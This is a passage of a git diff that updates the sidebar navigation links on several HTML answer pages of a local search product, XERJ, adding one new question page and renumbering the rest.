href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class="active"><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class="active"><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/search-gmail-takeout-mbox-locally.html b/landing/answers/search-gmail-takeout-mbox-locally.htmlindex bcbff4695..b19deb67d 100644--- a/landing/answers/search-gmail-takeout-mbox-locally.html+++ b/landing/answers/search-gmail-takeout-mbox-locally.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class="active"><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class="active"><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/search-gzip-logs-without-zgrep.html b/landing/answers/search-gzip-logs-without-zgrep.htmlindex 9e3805d11..0910e73c0 100644--- a/landing/answers/search-gzip-logs-without-zgrep.html+++ b/landing/answers/search-gzip-logs-without-zgrep.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/search-gzipped-csv-or-json.html b/landing/answers/search-gzipped-csv-or-json.htmlindex 2a743818d..93707b960 100644--- a/landing/answers/search-gzipped-csv-or-json.html+++ b/landing/answers/search-gzipped-csv-or-json.html@@ -179,43 +179,44 @@<a 